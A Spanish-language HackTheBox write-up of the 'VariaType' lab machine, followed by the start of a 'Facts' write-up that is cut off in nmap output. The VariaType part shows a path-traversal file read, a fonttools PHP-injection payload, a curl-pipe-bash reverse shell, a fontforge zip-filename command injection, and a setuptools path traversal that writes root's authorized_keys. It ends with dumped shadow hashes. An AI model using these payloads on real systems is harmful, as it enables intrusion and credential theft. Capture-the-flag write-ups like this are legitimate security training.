proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
❯

Nginx

El archivo de configuracion de nginx indica que existen dos sitios habilitados.

❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/nginx/nginx.conf' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {
    # ... skip ...

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;
}
# ... skip ...
❯

El dominio es un reverse proxy para el puerto 5000 localmente.

# /etc/nginx/sites-enabled/variatype.htb
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _; 

    return 301 http://variatype.htb$request_uri;
}

server {
    listen 80;
    server_name variatype.htb;

    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

}

El segundo es para el subdominio, el portal, en este se indica la raiz del directorio. Ademas, se indica /files/ donde es posible acceder a archivos conociendo unicamente el nombre.

# /etc/nginx/sites-enabled/portal.variatype.htb
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}

Exploit - CVE-2025-66034

Con la informacion de nginx logramos encontrar una direccion accesible via web donde podemos realizar la escritura de un archivo a traves de la vulnerabilidad en fonttools.

`1`	`/var/www/portal.variatype.htb/public/files/`

Editamos el PoC donde indicamos la ejecucion de whoami dentro de /files/whoami.php.

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	   <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	       <labelname xml:lang="en"><![CDATA[<?php echo(shell_exec("whoami"));?>]]]]><![CDATA[>]]></labelname>
	       <labelname xml:lang="fr">MEOW2</labelname>
	   </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/whoami.php">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>

Tras subir el archivo vemos que se lista whoami.php, esto indicaria que los archivos listados son los que se encuentran en /files/.

Tambien, observamos que se ejecuto el comando.

Shell

Ejecutamos shells, editamos el poc para la ejecucion de una shell inversa.

`1`	`<labelname xml:lang="en"><![CDATA[ <?php shell_exec("curl 10.10.14.10:8000/10.10.14.10:1335\|bash");?> ]]]]><![CDATA[>]]></labelname>`

Tras visitar el archivo logramos una shell como www-data.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from variatype.htb [10.129.255.115] 40154
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/portal.variatype.htb/public/files
$

download.php y dashboard.php indican el manejo de archivos.

//download.php
<?php
require_once 'auth.php';
require_login();

$file = $_GET['f'] ?? '';
if (!$file) {
    die('File parameter required.');
}

$file = str_replace("../", "", $file);

$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

if (!is_file($filepath)) {
    die('File not found.');
}

// Forzar descarga
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($filepath));

readfile($filepath);
exit();
?>

// dashboard.php
<?php
require_once 'auth.php';
require_login();

$archive_dir = '/var/www/portal.variatype.htb/public/files';
$files = [];

if (is_dir($archive_dir)) {
    $files = array_filter(scandir($archive_dir), function($f) use ($archive_dir) {
        return $f !== '.' && $f !== '..' && is_file("$archive_dir/$f");
    });

    usort($files, function($a, $b) use ($archive_dir) {
        return filemtime("$archive_dir/$b") - filemtime("$archive_dir/$a");
    });
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Dashboard — VariaType Validation</title>
  <link rel="stylesheet" href="/styles.css">
</head>
<body>
  <div class="container">
    <header>
      <h1>Validation Dashboard</h1>
      <a href="?logout=1" class="logout">Logout</a>
    </header>

    <?php if ($_GET['logout'] ?? null): logout(); endif; ?>

    <p style="margin-bottom: 1.5rem; color: var(--text-secondary);">
      Recent font builds from the variable font generator.
    </p>

    <?php if (empty($files)): ?>
      <div class="file-list">
        <div class="file-item">No generated fonts found.</div>
      </div>
    <?php else: ?>
      <div class="file-list">
        <?php foreach (array_slice($files, 0, 50) as $file): ?>
          <div class="file-item">
            <span class="file-name"><?= htmlspecialchars($file) ?></span>
            <span>
             <a href="/view.php?f=<?= urlencode($file) ?>" style="margin-right: 10px;">View</a>
             <a href="/download.php?f=<?= urlencode($file) ?>">Download</a>
            </span>
          </div>
        <?php endforeach; ?>
      </div>
    <?php endif; ?>

    <div class="footer">
      <p>Files are auto-archived from the main generator pipeline.</p>
    </div>
  </div>
</body>
</html>

User - Steve

En el directorio /opt encontramos dos directorios y un archivo. variatype contiene el codigo fuente del sitio en el dominio. process_client_submissions.bak aparentemente es un backup de un script que maneja los archivos fuente del portal. font-tools contiene un script y directorio para la instalacion de plugins.

$ pwd
/opt
$ ls -lah
total 20K
drwxr-xr-x  4 root      root      4.0K Mar  9 08:29 .
drwxr-xr-x 18 root      root      4.0K Mar  9 08:29 ..
drwxr-xr-x  3 root      root      4.0K Mar  9 08:29 font-tools
-rwxr-xr--  1 steve     steve     2.0K Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x  4 variatype variatype 4.0K Mar  9 08:29 variatype
$

Command Injection - fontforge

En process_client_submissions.bak encontramos que utiliza codigo python con la libreria fontforge para obtener informacion del archivo procesado.

#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

pspy muestra que existe un cronjob que ejecuta un script similar, en este caso el codigo python con el nombre del archivo.

2026/03/20 05:16:01 CMD: UID=1000  PID=4926   | date --iso-8601=seconds 
2026/03/20 05:16:01 CMD: UID=1000  PID=4927   | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:16:01 CMD: UID=1000  PID=4928   | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_-iAnQx7OmxM.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_-iAnQx7OmxM.ttf: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:16:02 CMD: UID=1000  PID=4929   | /bin/bash /home/steve/bin/process_client_submissions.sh 
2026/03/20 05:16:02 CMD: UID=1000  PID=4930

En un commit de fontforge se indica CVE-2024-25081 & CVE-2024-25082, en este se describe el uso de la funcion system() para “descomprimir” las fuentes dentro del archivo, especificando el nombre directamente como argumento lo que llevaria a la inyeccion de comandos.

Con un script en python creamos un archivo ZIP dentro de este, un archivo en donde indicamos la ejecucion de whoami en el nombre.

import zipfile
import io

file = "font.zip"
cmd_file = "test;whoami > /dev/shm/whoami;.ttf"

with zipfile.ZipFile(file, 'w') as pzip:
    pzip.writestr(cmd_file, "dummydataaaaaaaaaaaaaaaaaaaaa")

print(f"Created {file} with command {cmd_file}.")

Se creo el archivo con el comando.

❯ python poc.py
Created font.zip with command test;whoami > /dev/shm/whoami;.ttf.
❯ ll font.zip
.rw-rw-r-- kali kali 181 B Fri Mar 20 03:49:00 2026  font.zip
❯

Lo agregamos al directorio /var/www/portal.variatype.htb/public/files al cual tenemos acceso.

$ ls -lah
total 20K
drwxrwsr-x 2 www-data  www-data 4.0K Mar 20 05:55 .
drwxrwxr-x 4 root      www-data 4.0K Mar  9 08:29 ..
-rw-r--r-- 1 www-data  www-data  181 Mar 20 05:35 font.zip
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:14 variabype_-iAnQx7OmxM.ttf
-rw-r--r-- 1 variatype www-data 1.1K Mar 20 04:36 whoami.php
$

Luego de varios segundos observamos en pspy la ejecucion de nuestro comando.

2026/03/20 05:40:02 CMD: UID=1000  PID=5203   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('normal_font.zip')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:40:02 CMD: UID=1000  PID=5204   | sh -c unzip -l /var/www/portal.variatype.htb/public/files/normal_font.zip > /tmp/ffarchive-5202-1/ff-archive-table-of-contents 
2026/03/20 05:40:02 CMD: UID=1000  PID=5205   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('normal_font.zip')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process normal_font.zip: {e}', file=sys.stderr)
    sys.exit(1)
 
2026/03/20 05:40:02 CMD: UID=1000  PID=5207   | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip  /var/www/portal.variatype.htb/public/files/normal_font.zip   test;whoami > /dev/shm/whoami;.ttf ) > /dev/null 
2026/03/20 05:40:02 CMD: UID=1000  PID=5206   | sh -c ( cd /tmp/ffarchive-5202-1 ; unzip  /var/www/portal.variatype.htb/public/files/normal_font.zip   test;whoami > /dev/shm/whoami;.ttf ) > /dev/null 
2026/03/20 05:40:02 CMD: UID=1000  PID=5208   | whoami 
2026/03/20 05:40:02 CMD: UID=1000  PID=5209   | 
2026/03/20 05:40:02 CMD: UID=1000  PID=5210   | mv normal_font.zip /home/steve/processed_fonts/

Observamos el resultado de la ejecucion.

$ ls -lah /dev/shm/whoami
-rw-r--r-- 1 steve steve 6 Mar 20 05:56 /dev/shm/whoami
$ cat /dev/shm/whoami
steve
$

Modificamos el nombre del archivo para ejecucion de una shell inversa.

1
2
3

❯ python poc.py
Created font.zip with command test;curl 10.10.14.10:8000/10.10.14.10:1336|bash;.ttf.
❯

Logrando obtener una shell como steve y la flag user.txt.

❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.10] from variatype.htb [10.129.255.115] 57482
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
steve
uid=1000(steve) gid=1000(steve) groups=1000(steve)
$ cd
$ cat user.txt
85e0dbaa6cd9a532d1c2f5c5b04ddb46
$

Privesc

Steve puede ejecutar como root el script install_validator.py.

$ sudo -l -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/python3 /opt/font-tools/install_validator.py *
$

El script realiza la descarga del plugin de una url dada en /opt/font-tools/validators.

#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

setuptools - Path Traversal

El script hace uso de PackageIndex de la libreria setuptools.

# ... skip ...
from setuptools.package_index import PackageIndex

# ... skip ...
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
# ... skip ...

Para esta version 78.1.0 existe la vulnerabilidad Path Traversal (CVE-2025-47273) que permite escribir archivos de forma arbitraria. Dadas ciertas circunstancias podria escalar a RCE.

steve@variatype:~$ pip show setuptools
Name: setuptools
Version: 78.1.0
Summary: Easily download, build, install, upgrade, and uninstall Python packages
Home-page: 
Author: 
Author-email: Python Packaging Authority <distutils-sig@python.org>
License: 
Location: /usr/local/lib/python3.11/dist-packages
Requires: 
Required-by: 
steve@variatype:~$

Para esta vulnerabilidad simplemente se inicia con un slash / codificado para que el nombre del archivo sea utilizado como objetivo de escritura.
Ref. CVE-2025-47273: setuptools version 78.1.0 - Path Traversal in setuptools.package_index

[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

En este caso podriamos escalar privilegios ya que el script es ejecutado como root. Generamos una clave ssh para steve.

steve@variatype:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/steve/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 

Your identification has been saved in /home/steve/.ssh/id_rsa
Your public key has been saved in /home/steve/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:y+2Hx+ODT89rex26VW6CscupKFdHoiXneXeiCkIvYjE steve@variatype
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|                 |
|                 |
|        . + .    |
|    E . S* +.   .|
|     + o.o+ o+ooo|
|    o o =..*+oo+=|
|   . ..o.+ooB*ooo|
|       o. +B*=*+ |
+----[SHA256]-----+
steve@variatype:~$

En kali creamos el directorio root/.ssh en donde escribimos el archivo authorized_keys con el contenido de la clave publica de steve (id_rsa.pub).

❯ mkdir -p root/.ssh
❯ nano root/.ssh/authorized_keys
❯ python -m http.server 8181
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...

Ejecutamos el script con sudo especificando el archivo authorized_keys dentro del directorio de root. Este muestra que realizo la instalacion o escritura del archivo.

$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys"
2026-03-20 06:28:22,028 [INFO] Attempting to install plugin from: http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
2026-03-20 06:28:22,036 [INFO] Downloading http://10.10.14.10:8181/%2froot%2f.ssh%2fauthorized_keys
2026-03-20 06:28:22,520 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
$

1
2
3

❯ python -m http.server 8181
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...
10.129.255.115 - - [20/Mar/2026 04:26:05] "GET /%2froot%2f.ssh%2fauthorized_keys HTTP/1.1" 200 -

Shell

Logramos acceso root por SSH y la lectura de root.txt.

steve@variatype:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:0Wqe+nNeYlUwY+F669ywmS9kPUMYXqJh5xxCxwyCapI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 20 06:29:32 2026 from 127.0.0.1
root@variatype:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@variatype:~# cat root.txt
cat root.txt
88cab92c197f15e96588384fcffc7113
root@variatype:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

root@variatype:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$U22iZC8ubVYQ.zHw0n1wN.$xTkdl7UZCG8vpE7tECH6aQZeaff07orJSL1G8gzIv9.:20427:0:99999:7:::
daemon:*:20427:0:99999:7:::
bin:*:20427:0:99999:7:::
sys:*:20427:0:99999:7:::
sync:*:20427:0:99999:7:::
games:*:20427:0:99999:7:::
man:*:20427:0:99999:7:::
lp:*:20427:0:99999:7:::
mail:*:20427:0:99999:7:::
news:*:20427:0:99999:7:::
uucp:*:20427:0:99999:7:::
proxy:*:20427:0:99999:7:::
www-data:*:20427:0:99999:7:::
backup:*:20427:0:99999:7:::
list:*:20427:0:99999:7:::
irc:*:20427:0:99999:7:::
_apt:*:20427:0:99999:7:::
nobody:*:20427:0:99999:7:::
systemd-network:!*:20427::::::
systemd-timesync:!*:20427::::::
messagebus:!:20427::::::
sshd:!:20427::::::
steve:$y$j9T$BHBlMR.4E24EbG/z0v.cD.$bjAG20MM2ica3KNyzUldva6VdTIKjk2XqP7IN0Qskh0:20427:0:99999:7:::
variatype:!:20427::::::
_laurel:!:20511::::::
root@variatype:~#

HackTheBox - Facts

sckull — Sat, 06 Jun 2026 00:00:00 +0000

En Factor explotamos dos vulnerabilidades en Camaleon CMS que permitieron escalar privilegios y lectura de archivos locales. Tambien, se obtuvo acceso a MinIO y a la clave privada de un usuario para SSH, permitiendo el acceso a la maquina. Finalmente escalamos privilegios con la ejecucion de un script privilegiado.

Nombre	Facts
OS	Linux
Puntos	20
Dificultad	Easy
Fecha de Salida	2026-01-31
IP	10.129.17.99
Maker	LazyTitan33
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [117, 160, 302, 87, 43, 11, 8, 2, 1, 11], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), Golang-http (54321) y ssh (22).

# Nmap 7.95 scan initiated Sat Jan 31 22:56:58 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,54321 -sV -sC -oN nmap_scan 10.129.17.99
Nmap scan report for 10.129.17.99
Host is up (0.067s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.17.99:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18900689758BBD93
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 04:57:21 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>18900689758BBD93</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18900685C12CF014
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 04:57:05 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>18900685C12CF014</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sun, 01 Feb 2026 04:57:05 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.95%I=7%D=1/31%Time=697EDD20%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x2018900685C12CF014\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2001\x20Fe
SF:b\x202026\x2004:57:05\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>18900685C12CF014</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2001\x20
SF:Feb\x202026\x2004:57:05\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
